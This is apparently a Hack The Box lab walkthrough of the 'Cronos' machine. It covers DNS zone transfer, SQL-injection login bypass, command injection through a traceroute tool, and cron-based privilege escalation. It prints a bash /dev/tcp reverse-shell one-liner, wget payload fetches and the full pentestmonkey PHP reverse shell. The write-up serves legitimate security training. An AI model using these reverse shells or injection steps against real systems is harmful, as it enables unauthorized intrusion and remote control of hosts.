Walkthrough

Cronos (Hack The Box)

DNS zone transfer, web auth bypass, command injection, and cron abuse on Cronos.

Summary: Cronos begins with DNS enumeration, including a zone transfer that reveals multiple hostnames. The walkthrough pivots through subdomains, bypasses authentication via SQLi on an admin panel, and weaponizes a traceroute tool for command execution. With a shell established, it escalates by replacing a root-owned cron target with a PHP reverse shell.

Name Cronos
Platform Hack The Box
Difficulty Medium
Operating System Linux

Initial Enumeration

After running the initial Nmap scan, we see that there are 3 ports open.

nmap -p 22,53,80 -A > full.nmap.txt
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.16 (96%), Linux 3.18 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.4 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   97.07 ms 10.10.14.1
2   91.67 ms 10.10.10.13

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.34 seconds

Since it is open, lets do some easy DNS enumeration on the machine. First lets see if we can discover the domain name of the machine by running the nslookup command.

nslookup
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13
13.10.10.10.in-addr.arpa      name = ns1.cronos.htb.

Setting the server to Cronos, and then looking up Cronos’ IP, we get back the domain name ns1.cronos.htb , This is useful as it not only provides a domain name to poke at, but also confirms the base domain cronos.htb .

Next, lets try a zone transfer with the dig tool.

dig axfr @10.10.10.13 cronos.htb

This returns another two subdomains, admin and www .

; <<>> DiG 9.19.21-1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 100 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Tue May 28 09:42:39 EDT 2024
;; XFR size: 7 records (messages 1, bytes 203)

Now that we have found some domain information, lets take a look at the web server to see what we can find. When we just navigate to the IP of the machine we are presented with w default Apache page.

Untitled

Just out of curiosity, lets see if there are any directories that we can find before adding the hostnames to our /etc/hosts file. We can do that by running many tools but we will just use dirb for now.

dirb http://10.10.10.13/
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue May 28 09:18:26 2024
URL_BASE: http://10.10.10.13/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.13/ ----
+ http://10.10.10.13/index.html (CODE:200|SIZE:11439)                                                              
+ http://10.10.10.13/server-status (CODE:403|SIZE:299)                                                             
                                                                                                                   
-----------------
END_TIME: Tue May 28 09:25:43 2024
DOWNLOADED: 4612 - FOUND: 2

The Dirb scan didn’t result in much. Lets go ahead and add the newly discovered hostnames and subdomain names to our local /etc/hosts file.

image.png

Now lets try navigating to the base hostname cronos.htb.

Untitled

While doing some enumeration of the splash page, all of the links on this page send us to legitimate 3rd party web sites so that is a dead end. These are the technologies that are running on the cronos.htb web page.

Untitled

Lets try doing some more directory busting. But first lets see if there is a robots.txt in case we can get an easy win.

There does not appear to be anything useful in this file.

Untitled

Lets fire up dirb and do some directory busting.

dirb http://cronos.htb/ 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue May 28 09:48:30 2024
URL_BASE: http://cronos.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://cronos.htb/ ----
==> DIRECTORY: http://cronos.htb/css/                                                                              
+ http://cronos.htb/favicon.ico (CODE:200|SIZE:0)                                                                  
+ http://cronos.htb/index.php (CODE:200|SIZE:2319)                                                                 
==> DIRECTORY: http://cronos.htb/js/                                                                               
+ http://cronos.htb/robots.txt (CODE:200|SIZE:24)                                                                  
+ http://cronos.htb/server-status (CODE:403|SIZE:298)                                                              
+ http://cronos.htb/web.config (CODE:200|SIZE:914)                                                                 
                                                                                                                   
---- Entering directory: http://cronos.htb/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                   
---- Entering directory: http://cronos.htb/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it anyway)
                                                                               
-----------------
END_TIME: Tue May 28 09:55:46 2024
DOWNLOADED: 4612 - FOUND: 5

Looks like we have found a few more pages. None of these bear too much fruit at the moment with the exception of web.config and js . Lets check out the web.config file.

Untitled

Since we have two subdomain names from our DNS querying earlier, lets pivot to those as they might be more fruitful. Lets navigate to the domain admin.cronos.htb.

Untitled

Looks like we have found a login panel. After trying a few default credentials, we are still locked out. Lets switch over to the other subdomain ns1.cronos.htb and see if there is anything useful over there.

Looks like just a default Apache web page.

Untitled

Lets do some more directory busting, to see if there is anything interesting.

dirb http://ns1.cronos.htb/
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue May 28 10:04:28 2024
URL_BASE: http://ns1.cronos.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://ns1.cronos.htb/ ----
+ http://ns1.cronos.htb/index.html (CODE:200|SIZE:11439)                                                           
+ http://ns1.cronos.htb/server-status (CODE:403|SIZE:302)                                                          
                                                                                                                   
-----------------
END_TIME: Tue May 28 10:11:43 2024
DOWNLOADED: 4612 - FOUND: 2

Nothing to see here, moving on. Lets hop back to the admin login panel and see if there are any potential vulnerabilities that we can exploit.

Firstly, lets capture some traffic being sent over to the victim machine with a web proxy like Burp Suite . From the intercepted traffic we can see that there are just simple username and password fields being used to send the login data. Lets use a tool such as Turbo Intruder to bypass the rate limiting that the community edition of Burp Suite implements on the brute forcing tool Intruder.

image.png

Lets replace the field that we want to brute force with %s and make sure to set the wordlist within the python script below. Considering that we are targeting a login page, a common vulnerability is a SQLi (SQL Injection). So, lets set the wordlist to a common list of SQLi authentication bypass commands and fire it off.

Untitled

In the response to some of the requests, I noticed that the length was different for several of them. This is interesting and could indicate something amiss.

Untitled

Lets copy one of these requests and throw it into the Burp Suite tool Repeater to analyze it further.

Untitled

Upon following the redirect, I was brought to a new page, which appears to show that we have successfully bypassed the authentication with a SQLi.

Untitled

Lets do some more enumeration. This appears to be a web tool that runs the command traceroute on whatever IP you provide. This is potentially dangerous, since traceroute is running a command line tool. If we are able to escape it our run something else altogether, we might be able to get code execution.

image.png

Initial Foothold

If we intercept this traffic again, we can see that we have control not just over the ip but also the command traceroute .

Untitled

Lets see if we can get a callback to our machine by replacing the command to nc and the ip to our local host. First make sure to set up a listener.

nmc -nvlp 1234

BOOM!! Looks like we can change the command to be whatever we want! Lets set up another listener and see if we can get a reverse shell.

Untitled

First lets create a reverse shell file and host it up with a simple python HTTP server .

echo "bash -i >& /dev/tcp/10.10.14.17/1234 0>&1" > rev.sh
python -m http.server 80

Next lets change the command to wget and the host to our host and the file that we are hosting rev.sh.

We successfully got the machine to reach out to us and grab a file and store it locally. This is huge. Now lets set up a listener and try to execute the reverse shell.

Untitled

Now, lets change the command to the executable /bin/bash ./rev/sh and leave the host blank. Before we send this to the victim machine lets set up a new listener to catch the reverse shell.

nc -nvlp 1234

BOOM BOOM BOOM!! Pop goes the reverse shell!!! We have now have a reverse shell

Untitled

Privilege Escalation

First things first, I like to run automated scripts along side manual enumeration to be as thorough as possible. Since we have command line access, lets go ahead and host the file linpeas.sh with a simple python HTTP server.

python -m http.server 80

Then pull the file down to the victim machine with the following command.

wget http://<kali_ip>/linpeas.sh

Then, just make the file executable and fire it off.

chmod +x lineas.sh
./linpeas.sh

Quite quickly linpeas discovered a potential cronjob misconfiguration vulnerability. It appears that the the root user is running a cronjob every minute on a file.

Untitled

If we check out the permissions on this file, we notice that we have ownership of the file. This seems like an easy escalation, by just replacing the file with a reverse shell file and waiting for the cronjob to execute again.

Untitled

Since root is running php we should replace this file with a php reverse shell of our choosing. Lets use the following shell that can be found when searching pentestmonkey on google.

<?php
//
//

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.27';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

Lets host this file locally.

python -m http.server 80

Then we can pull this file down to the victim machine with the following command.

wget http://<kali_ip>/rev.php
image.png

Next, lets set up a local listener on our kali machine to catch the reverse shell.

nc -nvlp 1235

Now, lets copy this reverse shell file into the cronjob file.

image.png

Boom!! PWNED!!! We are now running as root.

Untitled